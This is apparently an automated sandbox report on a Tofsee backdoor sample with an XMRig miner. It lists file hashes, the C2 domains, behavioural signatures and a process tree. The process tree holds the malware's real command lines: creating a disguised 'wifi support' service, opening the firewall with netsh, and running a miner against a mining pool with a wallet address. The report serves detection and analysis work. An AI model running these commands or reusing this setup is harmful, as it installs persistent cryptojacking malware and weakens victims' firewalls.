Analysis

  • max time kernel
    296s
  • max time network
    295s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    05/10/2023, 03:41

General

  • Target

    3b2ac7257fd9c28da71c68c9661efaa1ca1a533d29feada3ba05b94b495fb377.exe

  • Size

    218KB

  • MD5

    6deba4aa59084f43048abcda2a52e5a0

  • SHA1

    2e086e82b0b798632e945c5f047c81869a84abd4

  • SHA256

    3b2ac7257fd9c28da71c68c9661efaa1ca1a533d29feada3ba05b94b495fb377

  • SHA512

    e086e715eb1deda5431bd4135e0c4313af694fc0b4e1243c4c1e7c566040c0fb0a8672f5ce98031d7eb9acc7b43a32214360e097c3d98af0f6d3f707e892ec68

  • SSDEEP

    3072:NwXz/LfA6hx0bJPSvYjGvn7V0iViz/jCpS7Iu3uTQt8dq6JzEYXMWfEX5bC4ot8r:q3rhebJPSgKnB0IkjKu3aQ6XNEYZ4o

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b2ac7257fd9c28da71c68c9661efaa1ca1a533d29feada3ba05b94b495fb377.exe
    "C:\Users\Admin\AppData\Local\Temp\3b2ac7257fd9c28da71c68c9661efaa1ca1a533d29feada3ba05b94b495fb377.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2828
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zotkhxit\
      2⤵
        PID:2440
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rhdsnfdl.exe" C:\Windows\SysWOW64\zotkhxit\
        2⤵
          PID:1708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zotkhxit binPath= "C:\Windows\SysWOW64\zotkhxit\rhdsnfdl.exe /d\"C:\Users\Admin\AppData\Local\Temp\3b2ac7257fd9c28da71c68c9661efaa1ca1a533d29feada3ba05b94b495fb377.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zotkhxit "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2724
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zotkhxit
          2⤵
          • Launches sc.exe
          PID:2680
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2764
      • C:\Windows\SysWOW64\zotkhxit\rhdsnfdl.exe
        C:\Windows\SysWOW64\zotkhxit\rhdsnfdl.exe /d"C:\Users\Admin\AppData\Local\Temp\3b2ac7257fd9c28da71c68c9661efaa1ca1a533d29feada3ba05b94b495fb377.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1464
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2696
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2624

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\rhdsnfdl.exe

              Filesize

              13.6MB

              MD5

              b4d3c08f5474bdcd011b3b593073d6ec

              SHA1

              c1b46bf8585d534e3bb2c73443dc7ae81a724fe2

              SHA256

              193c6988f37af588766da016835e52aba03cf288a80a726ec5292dabe57a98a1

              SHA512

              973673244c4459fa1a9814d0509e1e5d02e1afa9ec67bd8a3175231f518186f338c66d6cfb74ba82d808011010f4d692b7052741b063facadb08da6100468845

            • C:\Windows\SysWOW64\zotkhxit\rhdsnfdl.exe

              Filesize

              13.6MB

              MD5

              b4d3c08f5474bdcd011b3b593073d6ec

              SHA1

              c1b46bf8585d534e3bb2c73443dc7ae81a724fe2

              SHA256

              193c6988f37af588766da016835e52aba03cf288a80a726ec5292dabe57a98a1

              SHA512

              973673244c4459fa1a9814d0509e1e5d02e1afa9ec67bd8a3175231f518186f338c66d6cfb74ba82d808011010f4d692b7052741b063facadb08da6100468845

            • memory/1464-10-0x0000000000A10000-0x0000000000B10000-memory.dmp

              Filesize

              1024KB

            • memory/1464-17-0x0000000000400000-0x00000000005AE000-memory.dmp

              Filesize

              1.7MB

            • memory/1464-11-0x0000000000400000-0x00000000005AE000-memory.dmp

              Filesize

              1.7MB

            • memory/2624-75-0x00000000001C0000-0x00000000002B1000-memory.dmp

              Filesize

              964KB

            • memory/2624-63-0x00000000001C0000-0x00000000002B1000-memory.dmp

              Filesize

              964KB

            • memory/2624-77-0x00000000001C0000-0x00000000002B1000-memory.dmp

              Filesize

              964KB

            • memory/2624-76-0x00000000001C0000-0x00000000002B1000-memory.dmp

              Filesize

              964KB

            • memory/2624-74-0x00000000001C0000-0x00000000002B1000-memory.dmp

              Filesize

              964KB

            • memory/2624-72-0x00000000001C0000-0x00000000002B1000-memory.dmp

              Filesize

              964KB

            • memory/2624-73-0x00000000001C0000-0x00000000002B1000-memory.dmp

              Filesize

              964KB

            • memory/2624-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2624-78-0x00000000001C0000-0x00000000002B1000-memory.dmp

              Filesize

              964KB

            • memory/2624-64-0x00000000001C0000-0x00000000002B1000-memory.dmp

              Filesize

              964KB

            • memory/2696-40-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-48-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-28-0x0000000000160000-0x0000000000166000-memory.dmp

              Filesize

              24KB

            • memory/2696-27-0x0000000001950000-0x0000000001B5F000-memory.dmp

              Filesize

              2.1MB

            • memory/2696-31-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-34-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-35-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-36-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-37-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-38-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-39-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2696-41-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-42-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-43-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-44-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-45-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-46-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-47-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-24-0x0000000001950000-0x0000000001B5F000-memory.dmp

              Filesize

              2.1MB

            • memory/2696-49-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-50-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2696-51-0x0000000000520000-0x0000000000525000-memory.dmp

              Filesize

              20KB

            • memory/2696-54-0x0000000000520000-0x0000000000525000-memory.dmp

              Filesize

              20KB

            • memory/2696-55-0x0000000005890000-0x0000000005C9B000-memory.dmp

              Filesize

              4.0MB

            • memory/2696-58-0x0000000005890000-0x0000000005C9B000-memory.dmp

              Filesize

              4.0MB

            • memory/2696-59-0x0000000000530000-0x0000000000537000-memory.dmp

              Filesize

              28KB

            • memory/2696-23-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2696-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2696-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2696-15-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2696-12-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2828-1-0x00000000002B0000-0x00000000003B0000-memory.dmp

              Filesize

              1024KB

            • memory/2828-6-0x0000000000400000-0x00000000005AE000-memory.dmp

              Filesize

              1.7MB

            • memory/2828-7-0x00000000001C0000-0x00000000001D3000-memory.dmp

              Filesize

              76KB

            • memory/2828-3-0x0000000000400000-0x00000000005AE000-memory.dmp

              Filesize

              1.7MB

            • memory/2828-2-0x00000000001C0000-0x00000000001D3000-memory.dmp

              Filesize

              76KB